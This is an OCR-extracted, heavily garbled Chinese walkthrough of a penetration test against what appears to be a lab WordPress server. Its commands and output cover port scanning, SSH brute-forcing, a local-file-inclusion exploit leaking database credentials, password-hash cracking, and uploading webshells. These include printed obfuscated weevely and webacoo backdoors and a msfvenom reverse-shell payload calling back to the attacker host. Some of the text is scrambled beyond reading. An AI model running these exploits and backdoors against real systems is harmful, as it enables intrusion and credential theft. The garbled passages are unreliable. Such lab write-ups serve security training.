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o) ~/Desktop

br-3ele@a4db7f1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.0.1 netmask 255.255.0.0 broadcast 172.28.255.255
inet6 fe80::42:beff:fe3d:260a prefixlen 64 scopeid 0x20<link>
ether 02:42:be:3d:26:0a txqueuelen @ (Ethernet)

RX packets 39 bytes 11027 (10.7 KiB)

RX errors @ dropped @ overruns @ frame 0

TX packets 44 bytes 5050 (4.9 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions ©

mtu 1500
inet 192.168.40.149 n2tmask 255.255.255.0 broadcast 192.168.40.255
1net6 fe80::20c:29ff:fef0:6ff@ prefixlen 64 scopeid @0x20<link>

ether 00:0c:29:f0:6f:f@ txqueuelen 1000 (Ethernet)

RX packets 322098 bytes 455160573 (434.0 MiB)

RX errors © dropped @ overruns @ frame @

TX packets 102257 bytes 67904406 (64.7 MiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 96 bytes 5687 (5.5 KiB)
RX errors 0 dropped © overruns @ frame 0
TX packets 96 bytes 5687 (5.5 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

RIAKali ip 408! FA0B#EAT & W B i -

nmap -sP 192.168.40.0/24



2 ~/Desktop
192.168.40.

Starting Nmap 7.91 ( http
Nmap scan ort for localhost
Host 1s up
MAC Address:
Nmap scan
Host 1s up
MAC Addre

» localtl

lat
:Fb

' 1S5 uf

Address:
Nmap scan report for
Host is (0.00014s
MAC Addres:
Nmap scan report for
Host 1s up.
Nmap done:

IP addr

RITEIPH152!
2. nmap4: i O iR & Brss

HEAT namp 4t AR 55 H0ES

nmap -sS -sV -A -T5 -p- 192.168.40.152

2022-04-03 22
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(192.168.40.

hosts up) scanned in 1.

7
9/

Hp |

=

>

3 EDT

econds




Starting Nmap 7.91 ( https://nmap.or
Nmap scan report for localhost (192.
Host is up (0.00052s latency).
Not shown: 65523 filtered ports
PORT STATE SERVICE VERSION
7ﬂffrp rlnsed ftp_data
21/tco open ftp vsftpd 2.8.8 or later
ftp-anon: Anonymous FTP login allowed (FTP code 238)
_Can't get directory listing: PASV failed: 550 Permission de
ftp-syst:
STAT:
FTP server status:
Connected to 192.168.40.149
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout 1m seconds 15 300
Control connection is plain text
Data connections will be plain text
At session startup, client count was 2
vsFTPd 3.8.3 - secure, fast, stable
_End ot status
22/tcp open ssh OpensSSH

~N
-y

ssh-hostkey:
2048 81:21:ce:al:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05
256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:cP:ca:fo:db:9%e
e 25h _hd:=A1-h7:72:3c:-hA:93:6f:fTa:b9:89:e6:ae:3c:ab:d3
53/tcp open domain dnsmasqg 2.75
dns-nsid:
i Dind.version: dnsmasq-£Z./5
80/tcp open http PHP cli server
_NTTp-TiTLe: 4¥&4 NOT rolundg
123/tcp closed ntp
137/tcp closed netbios-ns
lsakap cLusel ﬁfTbiOS'dgm
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
TLNgErprini-sirings:
NULL:
message2. jpgUT

7.2p2 Ubuntu & (Ubuntu Linux; protocol 2

- -va-;
3306/tcp open mysqgl MySQL 5.7.12-0ubuntul
mysql-info:

Nt neal .
A mm ey

Version: 5.7.12-@ubuntul

Thread ID: 7

Capabilities flags: 63487

Some Capabilities: LongPassword, LongColumnFlag, SupportsTransactions, In
teractiveClient, Supporté4lAuth, SupportsCompression, ODBCClient, IgnoreSigpip
es, ConnectWithDatabase, DontAllowDatabaseTableColumn, Speaks&41ProtocolOld, S
peaks4lProtocolNew, SupportsLoadDatalocal, FoundRows, IgnoreSpaceBeforeParent
hesis, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugin
s

Status: Autocommit

Salt: S\x1B/\x11"\x@F4Z-;A2N\x17>XzSa\x19

AU ;1u5¢u Naiiie . mybql_qulvc_uqbbﬂuzd

12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| _http-server-header: Apache/2.4.18 (Ubuntu)

_http-title: Site doesn't have a title (text/html).

1 service unrecognized despite returning data. If vou know the service/versio

GEIGIIGIENIEY Y




21/tcp open ftp vsftpd 2.0.8 or later
ftp-anon: Anonymous FTP login allowed (FTP code 230)
open  ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

open domain dnsmasq 2.75

open http PHP cli server 5.5 or laterl23/tcp closed ntp
open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
open doom? message2.jpgUT
open mysql MySQL 5.7.12-0Qubuntul

http Apache httpd 2.4.18 ((Ubuntu))

PLKsmb2 (windows4453%H, =R FIH!
A UERERLESZRWH KN O#FFE, FTP. NetBIOS. MySQLAZ TWebfR%3% (Apache HTTPD) % 1112380%
)
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1. FTP{5 Bt

MRIEnmap 4 KR SSALZE KRR, fp RVFE 4 B -

21/tcp open ftp vsftpd 2.0.8 or later
ftp-anon: Anonymous FTP login allowed (FTP code 230)

1) fipE & G FA%


https://docs.qq.com/doc/DVExrc2JqUU1DWWd5

e ~/Desktop
192.168.40.152
Connected to 192.168.40.152.

2

'y, make sure to update the banner when you get a chance to show who has a
0—+———————————————————————————————————————————————————————————————————————————————————————————4

.168.40.152:root): anonymous
specify the password.

Password:
230 Login successful.
Remote system e 15 UNIX.
Using binary mode to transfer files.
ftp> ls
0@ PORT command successful. Consider using PASV.

15M Hara rnmac tha AdAirartnrwv -|1-n:'r1'r'n-:

-TW-r--r-- 10 0 107 Jun @3 2016
22b Directory send UK.

ftp> get note

local: note remote: note
200 PORT command successful. Consider using PASV

50 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
received in 0.00 secs (200.5608 kB/

221 Goodbye.

ftp 192.168.40.1
get note

RIFVREFHRII, EFnoteXfh, FTHREF!
2) BEnote XL

Wftp FRZ M HITEE:

- ~/Desktop
note
Elly, make sure you update the payload information. Leave it im your FTP account once your are done, John.

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

HHEXXAER: WRKIKSEBEEEFTPS, MAEH R K-S !
REBHEANHF4&: Elly. John, HATRHER!

2. Sambafs B
X 139K ISambafikss, B LI smbclientkEE .

smbclient& — M FF I netbios-ssn, Hismbclientﬂéﬁ% (J& FsambaZff, ERM—Fray47 4 A H X5 iy i sambalik 55
R FLZERYE) | FHEnum4linux# s, X=—NH TR EWindowsflSamba R Zi s S T A,

1) Enumdlinuxti 2t

enum4linux -a 192.168.40.152

-2 A SRR TR —



2 ~/Desktop

Starting enum&4linux .8.9 ( http .portcullis.co.uk/application/enumd nux/ ) on Wed Apr 6

mins, root, bin, none

at
up status
RED
RED
RED
WOR

WO

MAC Add 00-00-00

10N ck ) 168.40.15

rver 192.168.40. allows sessions using username '', password




uninitialized = print at ./enum4linux.pl lim L.
uninitialized value $users in pattern match (m//) anum4Linux.pl line

in print at ./enum4linux.pl line
in pattern match (m//) umélinux.pl line 8

Comment

Printer Drivers
What are we doing he

es should be stored here
server (Samba, Ubuntu))

Mapping: D Listing: N/A
‘kathy Mapping: OK, Listing: OK
i /tmp Mapping: OK, Listing
.168.40.152/1IPC$% [E] Can’
ATUS_OBJECT_NAME_NOT_FOUND

[+] Attaching to 192.168.40.152 using a NULL share
[+] Trying protocol 13
[+] Found domain(s):

+] RED
+] Builtin

[
[

KRB 20T S B -
1.0kﬁ§%ﬁﬁ§£§:

//192.168.40.152/kathy Mapping: OK, Listing: OK

//192.168.40.152/tmp Mapping: OK, Listing: OK

kathyFItmp M5 BAEHETEER ! 7T DU smbclienti # !

2 RAT20MNHFPER



v un

nmnuumoon

(L 1 S
um (Local Us
Chadwick (Local U
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(Local U
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2-1-1013 Unix ode (Local
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8513 and logon username

kathyFItmp B AME BAEETEER ! 7T DU smbclienti $ !
2) REAFGER, HH&

gedit user.txt

cat user.txt | cut -d ''" -f2 | cut -d ' ' -f1 > user.txt




~/Desktop
user.txt

): Gtk-WARNING ##*: - in 2. xf assion.Manager.Inhibit failed: GDBus
nMet : 28 “Inhibit"iX 4 ;

~/Desktop
oy

- ~/Desktop

user

peter

RNunemaker

IChadwick
MFrei
SStri

Lo

elly

WESREHIRE, REBIEFEKHF4: userixt!
3. BhBiEsshiz BB 2
1) hydra® /1 iR

nmap i3 ffisshii 0 AFFBCRAS,  FIF hydraf@ ik

hydra -L user.txt -P user.txt 192.168.40.152 ssh




~/Desktop

er.

(this is

(http ithub.com er-thc/thc dra)
[ NING] Ma SH ifigurati mber of pa lel t | recommended to reduce the
[DATA] m t r P tasks, 961 login tr (1: :3 ~61 tries per task

1 valid password f
/thc-hydra) finished : 2022-04-06 02:

login: SHayslett password: SHayslett
KGsshE RIK T HY !

2) ssh&

sshZ & F:

ssh SHayslett@192.168.40.152

~/Desktop

ett@192.168.40.152

SHayslett@192.168.4
Permission denled
SHa 2.168

uld=1005(

BRMI! BT XS HEE SRR, EII4 S0 iz H 3R
4. ncfs B 266635 O

1) 15 I httpdi O

8 3 ) Y 28 7 ] %3

http://192.168.40.152:666/
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RIIX R — 3!
2) ncFE X H
Bt et )% i O34T ER .

nc 192.168.40.152 666 >test  #B T Ntest
#BEFEtesthid

#E Fziph Az B
#HzipfREtest 30




~/Deskto

~/Desktop
test: Zip archive data, at least v2.0 to extract
~/Desktop

April 2 3, by Oor 1al by Info

data
- only
sion info = L amp 1ive to latest
(in xlist) .
modifiers:

never

lowe

numb

or unzip.

4 -
= S5ent 5 0 D Z f into
=5 ' if arc

HiEnc T REG M, IR EIREmessage2iljpg &l A !
3) StringsEFEEB A EE
strings&F % H ki#E(E B :
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JFIF

vPhotoshop 3.0

8BIM

1If you are reading this, you should get a cookie!

8BIM

CDEFGHIJSTUVWXYZcdefghijstuvwxyz

:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

4 7 Wit cookieft, kEEZER!
5. H212380% 015 B W4

1) Vi3 K

I ) 55 28 75 110 2% DT -

http://192.168.40.152:12380/




Tim, we need to-do better X -+

<« C o © /& 192.168.40.152 o O 1 N O ®

o Kali Linux % Kali Training % Kali Tools ™ Kali Forums <« KaliDocs e NetHunter Offensive Security MSFU Exploit-DB

Coming Soon

Sorry guys, BSides happened too quick! Didn't have enough time to
finish the website.

KA ZAEBEAAFHAKGER, #TREAEE!
2) Niktof3#i URL

nikto & —FIT IR . ThREIR KM WEB 3 A1, REXT web IR55 %% 2 F 2 &30 B #HT R/, £IRE M
HAKIRR, BEFE230Z FARS 48 LRI 26002 MABEGR K. CGl KA, &rr AR E EHLK WEB KA,
FHA. K€ HF. COOKEE. H5E CGIIEIH. &EEHL R http HRE%E,

nikto -h http://192.168.40.152:12380/




~/Desktop

in the middle of no
h/ lAddr
&
middle of nowhe
/{CHN=Red.Initech/emailAddress=

Uncommon

The site ] \

The si : 1 r is not present.

The X-Conte \ is not set. This uld allow the
fashion t

T

\ returned a non-forbidden

- Entry '/blegbleg/' in r turned a non-forbidden or redi
"robots.t i which should be manually wvi

3 does not

to be outdated (cul | ea ac : . i e EOL for the

thods: GET, HEAD, PO
L b_mode' found,
'README :

M

RIL=/~HF/admin112233/. /blogblog/s /phpmyadmin/, KIIERSSL Info, TiEHRsslimK, B PAhttpsti i), 22315 A http
ViR EEMER, FEHTTPSTHURL!

3) sshijjia

St zé5 e /admin112233 H 3%:

https://192.168.40.152:12380/admin112233/



[El & : This could of been a BeEF-XSS hook [ , F#fEXSS!

#3959l lblogblog H 3
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WEEK
RECENT COMMENTS
L d £ f' 1 r '_.I
LRSI ARCHIVES
WELCOME TO INITECH INTERNAL DEPLOYMENT BLOG CATEGORIES
META
| MITH A

9% I iZ ik ) 2 FHWordPressi8 & 1, A =24.2.1

28 15 /phpmyadmin B 3

https://192.168.40.152:12380/phpmyadmin
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Kali Linux M Kali Training M Kali Tools ™ KaliForums <« KaliDocs ¢\ NetHunter Offensive Security MSFU

php
Welcome to phpMyAdmin

Language

English j

Log in g

Username:

Password:

B E|phpmyadminffl J5 & B FHH, FTEKFHEWG!
6. Wpscan{s B4
Mblogblog B 3 7] LA & Bli% 35 77 #Ewordpress¥l | 7 F| Flwpscanib /T Mzs 133 !

1) wpscan#i#iblogblogM 5t

wpscan --url https://192.168.40.152:12380/blogblog/ --disable-tls-checks

Exploit-[}

--disable-tls-checks ---F A% F|SSLITEEUEFS/SSHAS I A F ¥k !



~/UEsKLop
https://192.168.40.152:12380/blogblog/

e, T, T

WordPress Security Scanner by the WPScan Team
Version 3.8.17
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

It seems like you have not updated the database for some time.
{ [?] Do you want to update now? [Y]es [N]o, default: [N]

URL: https://192.168.40.152:12380/blogblog/ [192.168.40.152]

Started: Mon Apr &4 ©3:13:03 2022

Interesting Finding(s):

Headers
Interesting Entries:

- Server: Apache/2.4.18 (Ubuntu)

- Dave: Soemthing doesn't look right here
Found By: Headers (Passive Detection)
Confidence: 100%

XML-RPC seems to be enabled: https://192.168.40.152:12380/blogblog/xmlrpc.php
Found By: Headers (Passive Detection)
Confidence: 100%

No Config Backups Found.

No WPScan API Token given, as a result vulnerability data has not been output.

You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
Finished Moy

Requests Done: 170

Cached Requests: 5

Data Sent: 47.482 KB

Data Received: 166.497 KB

Memory used: 229.684 MB

Elapsed time: 00:00:04

PRI 1E Fhttps://wpscan.com/registerdk Blwpscan APIA- i, 7 BE% i I 17 BdE
2) 3KEwpscan API4 i

FEYHEMN, KBERL:

https://wpscan.com/register




APl Token

kJ4bhZCgveCcoGJPERTADsSHJTeFDIS0WT9zulVéasc Copy

The APl documentation can be found

Current subscription plan Daily API request limit API requests in the

Free 25 2

EE M35 £ W HFEAP] Token& il B ] !
3) wpscanf i

I IRE I token ELEEFF 4R 1 #

wpscan --url https://192.168.40.152:12380/blogblog/ -e u --api-token kJ4bhZCgveCcoGIPER7AOsHITeFDf90WfjOzulVbas

c --disable-tls-checks
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https:

40.152




HH KM% E F*: blogblog/wp-content/, 1] TS &

4 YEHRAEINTHR

7Eblogblog/wp-content/plugins/ & Bi.:

! BEFEMRZRFACVER R,

BB AT R B IT !



Index of /blogblog/wp-co

&« > C @ D & 192.168.40.152 A2 *

o\ KaliLinux X Kali Training X Kali Tools % Kali Forums <« KaliDocs e\ NetHunter Offensive Security MSFU

Index of /blogblog/wp-content/plugins/advanced-video-
embed-videos-or-playlists

Name Last modified Size Description

& Parent Directory "
@ advanced video_embed.php 2015-10-14 13:52 2.4K
Q) inc/ 2015-10-14 13:52 -
readme.txt 2015-10-14 13:52 3.1K

Apache/2.4.18 (Ubuntu) Server at 192.168.40.152 Port 12380

R ILFfEadvanced_video_embed.php, #7RfF7Ewordpress advanced videoff - HE B !
=. wordpress advancedi i F)] F

1. 39646 exp#lH

BRHER:



YDATABASE

WordPress Plugin Advanced Video 1.0 - Local File

Inclusion
EDB-ID: CVE: Author: Type:
EVAIT SECURITY GMBH WEBAPPS
EDB Verified: Exploit: & / {}

Platform: Date:
[.=L—1.’J

"] LA 39646, fEkali_b#$RIH-FIH !
2. ER A HpyH A&

kalii3iE R4 B W IR Zexpid, BHEEKET!

cp /usr/share/exploitdb/exploits/php/webapps/39646.py .

® ~/Desktop

39646

Exploit Title

Wo ugin Advanced Video 1.0 - Local File Inclusion

646 . py

~/Desktop

Hrexp S I 2IF I H F !
3. Bdexpfhig

BB T WA



import ssl
ssl. create_default https context = ssl. create unverified context
url = "https://192.168.40.152:12380/blogblog/"

*39646.py

PR LY

urllib2z
re
ssl

._create_default_https_context = ssl._create_unverified_context

‘https://192.168.40.152:12380/blogblog/" # insert url to wor

42 randomID = long(random.random() * )
43
44 objHtml = urllib2.urlopen{url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title="' + str{randomID) +
gshort=rndsterm=rnd&thumb=.. /wp-config.php')
45 content objHtml.readlines()
line content:
numbers = re.findall(r’'\d+',line)
id = numbers[-1]

id = int(id) /

51 objHtml = urllib2.urlopen{url + '/?p=" + str(id))
52 content = objHtml.readlines()

53

54 line content:

Python v HIRMEFEE: 8 « $3717, H171

2 ~/Desktop
39646.pYy

gedit:5T98 ) GTK-WARNING **: : Calling org.xfce.Session.Manager.Inhibit failed: GDBus.Error:org.freedes

4. V5 URLSC A b 4% BT -

i B KexpiE, HEATX I H B EIT NG, fEupload H X HBUHTKISXFA A

https://192.168.40.152:12380/blogblog/wp-content/uploads
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Index of /blogblog/wp-content/uploads

Name Last modified Size Description

& Parent Directory -
193104749.jpeg 2022-04-04 16:54 3.0K

Apache/2.4.18 (Ub Server at 192.168.40.152 Port 12380

BRTHIE . 193104749 jpeg, TF#:

wget --no-check-certificate https://192.168.40.152:12380/blogblog/wp-content/uploads/193104749. jpeg
--no-check-certificate ---iX ST e ffwget T #iss 13X

- -] ~/Desktop
. . : -content/uplc
—2022-04-04 04:04:41— http - 3 b /uploads

5*#
H HTTP il
®: 3042 (

x— ] 2.97K —+-KB/s H WK eos

2022-04-04 04:04:42 (337 MB/s) - BRHF “193104749.jpeg” [3042/3042])

TRE#TOTEAER!
5. B fE B #3
fileE % B KA

e ~/Desktop

1903104749, jpeg
193104749. jpeg: PHP script,

193104749.jpeg: PHP script, ASCII text

XRE—AphpRIBHIC A ! HEEE!



® ~/Desktop
193104749, jpeg

<?php
Ve 2]

* The base COF}FlgLJ!'C\[lOHS of the WordPress.

This file has the following configurations: MySQL settings, Table Prefix,
Secret Keys, and ABSPATH. You can find more information by visiting

{@dlink https://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
Codex page. You can get the MySQL settings from your web host.

This file is used by the wp-config.php creation script during the
installation. You don't have to use the web site, you can just copy this file
to "wp-config.php" and fill in the values.

'EEEREEEREEREE.

adpackage WordPress

»
—

// %% MySQL settings - You can get this info from your web host »x //
J/*%* The name of the database for WordPress */
define( 'DB_NAME', 'wordpress');

/*% MySQL database username */
define( 'DB_USER', 'root');

/** MySQL database password =/
define( 'DB_PASSWORD', 'plbkac');

/%% MySQL hostname =*/
define( 'DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. =/
define( 'DB_CHARSET', ‘utf8mbs4');

/** The Database Collate type. Don't change this if in doubt.
define( 'DB_COLLATE', '');

define('DB_USER', 'root');
define( 'DB_PASSWORD', ‘plbkac');

Sfmysqlf 1 44 51

TSR P 5 2 B AR P

1. Mysqlfs BB 2 +2 H iR
1. BERfE BHOE

I B F w2 K mysq S B2 K 5 R BEAT 1028

mysql -uroot -pplbkac -h 192.168.40.152  #FIHZRE KK P 0TS 5
show databases; HEERHEERER

use wordpress #33 Awordpress

show tables; HEFRERS




-] ~/Desktop
192.168.40.152
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is &7
Server version: 5.7.12-0ubuntul (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;’ or '\h' for help. Type '\c' to clear the current input statement.

show databases;

'mation_schema

ort

Database changed

MySQL [worc 35]> show tables;

wp

11 rows in set (0.001 sec)

83T mysqlir 4 ¥ 26 B %8 FEwordpress FE R FEEwp_users® (5 8. !
2, RFEBREEBE

BEEwp_userF R

desc wp_users;

select user_login,user_pass from wp_users;

m# select * from wp_users;




Extra
NO PRI NULL auto_1inc
NO MUL
NO
MUL

2000-00-00 00:00:00

@

+

John $P$B7E
Elly bJ §
Peter uAF 91X Zu67sGDO
barry $P$BIp1ND3 \ TfZhke
heather $P$Bwd@VpKBh F
$P$B
$P$BqV

ExJdpQqRsNf.
T5m1s9mstAUEL

i#idselectt s H ZRFTA R B WA P A MMDSINE K ZEE B | KEHR R ZE A

gedit 1.txt




John $P$B7889EMg/erHIuZapMBSGEizebcIy9.
Elly $P3BlumbIRRBit7y50Y17 .UP]/XEgvimyQ
Peter $PSBTZOYUAFiIBASIxX2njLOXCLZUGT SGDO
barry $PS$BIpIND3IGTBANRAKRYS41vpVypsTfZhko
heather $P$BwdOVpKBhX4&4aN. rz14wWDdhEIGeJgf10
garry $P$B2z ) FKAHAEN4CHKiUgLX . baLesBPxnZ1
harry $P$BgV. SQ60tKhVVTk7h1wgESkMhé 1buRe
scott $PEBFMSPIDX1fChKRsytplyp8Jlo7RdHeIl
kathy $PSBZ1 xAMNCEON .. PYaurLGrhfBi6TjtcAR
tim $SPSBXDR7dLIJczwfuEx)dpQgRsNf . JueND
Z0E $P4B . EMMKRP110Q0dTSm1s9ms LAUED jagul
Dave $PEBL7/VOLgQvu37jIT. 6t4KNmY . vOOTHY .
Simon $PSBLxdiNNRPOO8BKOQ. JEA4CISK/TtECZO
Abby $P4ByZgSmTBpKiLZS5KxhhRe/ugR.480fs.
Vicki $P$BE51g01Wwl 25qc POUKDVxaSwodTY131
Pam $P$BuLagypsIJdEuzMkf2exys5bRmo0dqo

e -

Wb R e

o

16 rows 1n set

~/Desktop

1ibit failed: GDBu

3. AWK R %

18 Fl awki#t AT SCA i Sk #R B user_passiXANF BT A 1H, TE{RF Epass.ixt
awkIF 9 EBER: BHESINL

awk -F'|' '{print $3}' 1.txt > pass.txt



~/Desktop

1.txt

$P$B7889EMq/erHIuzZ
$P$BLumbJRRBit7)
$P$BTzoYuAFiBAS1iXx
$P$BIp1ND3G70QANR

$P$BqV.SQ60tKhVV7k7hlwqESkMh41buR®
$P$BFmSPiDX1fChKRsytplyp8Jo7RdHelIl
$P$BZ1xAMNC60ON.PYaurLGrhfBi6TjtcA®

Q. JELLCISK/7tECzO
$P$ByZg5mTBpKilL xhhRe/uqgR.480fs.
$P$B851qQ1wwl25qcPOuKD SwodTY131
$P$BuLagypsIJIdEuzMkf2 S5bRm@0dQe

~/Desktop
rint § 1.txt pass.txt

4. johnEHFEHBA

4k 4818 F JohnffirockyousC 2= xF mysq I35 i (5 B BEAT Bk«

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt




o ~/Desktop

UTF-8
16 different salts
for all loaded hashes

encoding:

with

Loaded 16 passwor
Cost 1 (iteration
Will rum 4 OpenMP thre
other key for

any

washere
incorrect
thumb
0520
passphrase
damachlne
ylle
partyqueen
: p5:21) 0.004622¢g/

options to display

$P$B7889EMq/erHIuZapMB8GEizebcIy9. :incorrect
RILXT Rijohnf /', Z15 Aincorrect

+.. Getshell

R T RS, ORI T RS EE B W EEE Rwordpress/E 5, BEREH ML ITIAT Llgetshell, TR

BAHFIA !
1. BXE6

ViR JE S, FA%KF: john, L. incorrect

https://192.168.40.152:12380/blogblog/wp-login.php

(phpa

ss [phpass ($P$ or $H$

status
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john

AR TT BTy B !
2, XH k%

Plugins-) add New -) upload Plugin : 77 _E4&304F
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@ @& nitech ©5 P + New Howdy, John S|

While the band's playin
@ Dashboard
WordPress 4.5.2 Is avallablel Please update now

)f Posts
Q3 Media Add Plugins Browse

M Pages

P comments

M Appearance

Browse... No file selected.
Installed Plugin
Add New
Editor
= Users ; ,
- Thank you for creating with WordPress Get Versio

& Tools

Settings

3. php-webshellF| f

5 i phpshell 2 A< 3 14 32«

cp /usr/share/webshells/php/php-reverse-shell.php .

~/Desktop
php-reverse-shell.php
laudanu p/php-reverse
udanum ) o - templ: p-reverse-shell.php

php
webshells/php/php-reverse-shell.php

~/Desktop

~/Desktop

'se-shell.php .




*php-reverse-shell.php

7 set_time_Llimit

function_exists
pentl_fork

{

printit

~/Desktop

php-ré i eLl.ph

B SE BN AR L AEPHP SO
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@ @& Intech ©5 P 4+ New

@ Dashboard
WordPress 4.5.2 Is available! Please update now.

A posts
07 Media Add PlUginS Browse

I Pages

® comments

M Appearance

Browse.. |php-reverse-shell.php ”5“/“‘*'
} Installed Plugin
Add New

BERE LRI

syt
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193104749.jpeg 2022-04-04 16:54 3.0K
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Apache/2.4.18 (Ubuntu) Server at 192.168.40.152 Port 12380

EAERI ! AMTF BN, HU5RJE 34T ) #shell:

nc -vlp 1234

https://192.168.40.152:12380/blogblog/wp-content/uploads/php-reverse-shell.php

Offensive Security

While the band's playin

Howdy, Joh

)

MSF
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FRThERAG [ ¥shell, F4% ) T H #1358 IR 55 4% !

4. weevely#Fl fi

1) F FHweevelyst: liPHPA 5 3 4
WeevelyZ — AN MIPHPR UK Sk 52, HILKZRERE.
B A

AR A E R B WPHPAR S, XE2— M MWebNABTFEARKNWEETER, sTHTFE—ARBNET, EA—NERMEZE
TR & FHEEMKLK T, BFEREERAREERS. RE2ENI LA RESE"E isWebk% 2 LHIPHPARE, Weevely® /-
Y AE A HIZ 1T shelldr &5 5

weevely generate passll test.php ---“AEftest.php %% Npasstest

generate - --AERFTHE




T ~/Desktop
generate passtest test.php
Generated "test.php’ with password 'passtest’

~/Desktop

<?php

$d="~m[1]), %$a~k)a~)); $o=Roba~_get_cona~ta~ents();dob_ena~a~c ead~n( ):$r

b':

o e "i%k -"@d3e6blb8a4g~4" ; $kf="0~50750~535d26eq~9" ; $pd~=

$E="en@d~($t);Soa~="";ford _{$1TG;$1iEL;}{ﬂ"{ﬂrﬂ“ESJTQ;[S]QSci 5$ia~<$1)a-

$F=str_replace(’

$b="as ;

=

$K="$j++a~,$i++ ){$o-=a~$t{$i

$G=""Sy@~TXtta~va SRNpK" ; fun
trl’;
$1="tchd

$N="=13~)

$a’';
$B=str_replace('ad~","'",%0.9G.$E.9K.$1.5N.5d.%b);
$U=$F(""',$8B);%U()

weevelyfI R 4E T S Ak tk, T BlphprA S BRIV HIRFAE !

2) bt
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‘i@] ﬂ Initech © 5 . + New Howdy, John Smith

We feel the room swayin

@& Dashboard
WordPress 4.5.2 is avallable! Please update now.

A Posts
Q7 Media Add Plugins Browse
B Pages

® comments

M Appearance

Browse... test.php 31| NOW

Add New

.
e Users Thank vou f reating with WordPress Get Version 4.5.2

& Tools

Settings

BAE BRI
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Apache/2.4.18 (Ubuntu) Server at 192.168.40.152 Port 12380

B bA% !

3) BT ZPHPX ., KAGshell

weevely https://192.168.40.152:12380/blogblog/wp-content/uploads/test.php passtest




e ~/Desktop
https://192.168.40.152:12380/blogblog/wp-content/uploads/test.php passtest

weevely 4.0.1

Target: 192.168.40.152:12380
Session: /root/.weevely/sessions/192.168.40.152/test_0.session

Browse the filesystem or execute commands starts the connection
to the target. Type :help for more information.

weevely> id
uid=33(www-data) gid=33(www-data) groups=33(ww-data)
www-data@red.initech:/var/wwmw/https/blogblog/wp-content/uploads $ |

I3k Eshell, ZshellfRfaE !

5. webacoo¥|H

WeBaCoo (Web Backdoor Cookie) &— gk AKWeb)/EIT1T E. EBIHTTPHYL, BAAER P IFMWebiR S5 8% 2 7] 52
IPATARL I T L35, WeBaCool I 2 A 7ET, WebR4528 R 7 i 2 18] i 38 15 BiAk & Cookie .

1) webacoo4: R PHPJG I'1 X 44

webacoo -g -o webacoo.php
-g ARETIRE (RE-0)
-0 OUTPUT AERRHIJ& I 4 i Sk 44

~/Desktop
webacoo.php

; Bechtsoudls
L15D anestismbechtsoudls.cor 1TTPLS

[+] Backdoor file "webacoo.php” created.
-] ~/Desktop

firefox-esr.desktop
Jsp.jsp
kali-burpsuite.desktop terminator.desktop
iarshalsec-0.0.3-SNAPSHOT-all.jar test
test.php
note
pass.txt webacoo.php
php-reverse-shell.php weblogic_CVE_2020_2551. jar

- ~/Desktop
webacoo.php 5
<?php $b=strrev("edoced_4"."6esab”);eval($b(str_replace(” ","","aWYoaXNzZXQoJFO9DT
$9LSUVDIZ2ZNE)LITOpDKXTt Y19 2dGFydCgpO3INScIRLILDShIYXNLNA
JRYFZGNV Jb2RLKCRFfFQOIOPSEBELFWYd jbSddKS4&nIDI+] jJEnNKTEEzZX
Rib29rawulUolJF9DTO9LSUVDbI2NUI10s5IF9DTO9LSUVDbI2Z2ZNWII1
QuYmFzZTYOX2VuY29kZShvYLlO9nZXRfY29udGeGVudHMOKSLkulF?9
DTO9LSUVDbDbI2Nw]l18p029iX2VuZF9)b6Vhbigp038=")));

A& Elwebacoo th & BT FEIRIE T php AL, {H72 B Hweevelyf 3 AElT !




2) & W L2 ZPHP/ET]

We feel the room swa}-un'

WordPress 4.5.2 is available! Please update now.

Add Plugins erowse

Browse..  webacoo.php Install Now

/

hank you for creating with WordPress GetV

ViR R AR
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BRI b A
3) EEEE AT PHPI A

webacoo -t -u https://192.168.40.152:12380/blogblog/wp-content/uploads/webacoo.php

-t BOLmRCL R ERE (FE-u)
-u URL J&I7 URL

~/Desktop
https://192.168.40.152:12380/blogblog/wp-content/uploads/webacoo.php

Anestis Bechtsoudis

[+] Connecting to remote server a

[-] 4xx error server response.
Terminal closed.

BIh kS shell, ZshelfRfaE !
6. Msfconsole £k webshell

Metasploiti B & —4 B 7ER Mt 2 &G BirENLETE, B4 TREMETEEMNR (penetration testing) EKAZ
BMRAZLTFE .

1) kaliz 4 i webshell

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.40.149 LPORT=4455 -f raw > msf.php

--LHOST AkalizshiIp
--LPORT ANi&ERN O

~/Desktop
php/meterpreter_reverse_tcp LHOST=192.168.40.149 LPORT=4455
raw
[-] No platform was lected, choosing Msf ::Module::Platform:: PHP from the pa
AGED _
[-] No arch eC g arch: php from the payload

d, outputting raw payload

pytes

A R Smsf.php A B ST !

2) 5 & LA&PHPX #
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Appearance
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e

Ererizh:
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3) msfijE W

FF 2 msfconsolei AMSFHESE



msfconsole
exploit/multi/handler

payload php/meterpreter_reverse_tcp

LHOST 192.168.40.149
LPORT 4455

configured payl

oit(

= php/meterpreter

xploit(
LHOST = 192.168.40.149
